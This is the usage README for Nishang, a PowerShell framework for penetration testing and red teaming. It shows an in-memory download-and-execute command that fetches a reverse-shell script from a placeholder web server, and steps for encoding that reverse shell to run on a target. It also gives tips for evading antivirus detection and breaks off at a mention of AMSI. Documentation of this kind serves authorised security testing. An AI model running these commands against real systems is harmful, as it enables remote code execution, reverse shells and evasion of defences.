Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell
for offensive security, penetration testing and red teaming. Nishang is useful during all phases of
penetration testing.
By Nikhil Mittal Founder of Altered Security - Hands-on red team and enterprise security training!
Usage
Import all the scripts in the current PowerShell session (PowerShell v3 onwards).
PS C:\nishang> Import-Module .\nishang.psm1
Use the individual scripts with dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
To get help about any script or function, use:
PS C:\nishang> Get-Help [scriptname] -full
Note that the help is available for the function loaded after running the script and not the script itself since version
0.3.8. In all cases, the function name is same as the script name.
For example, to see the help about Get-WLAN-Keys.ps1, use
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full

Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in
memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:
Method 1. Use the in-memory dowload and execute: Use below command to execute a PowerShell script from a
remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang
export a function with same name in the current PowerShell session.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp
Method 2. Use the -encodedcommand (or -e ) parameter of PowerShell All the scripts in Nishang export a
function with same name in the current PowerShell session. Therefore, make sure the function call is made in the
script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a
function call (without quotes) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]" .
Encode the scrript using Invoke-Encode from Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Encoded data written to .\encoded.txt
Encoded command written to .\encodedcommand.txt
From above, use the encoded script from encodedcommand.txt and run it on a target where commands could be
executed (a remote shell, meterpreter native shell, a web shell etc.). Use it like below:
C:\Users\target> powershell -e [encodedscript]
If the scripts still get detected changing the function and parameter names and removing the help content will
help.
In case Windows 10's AMSI is still blocking script execution, see this blog:
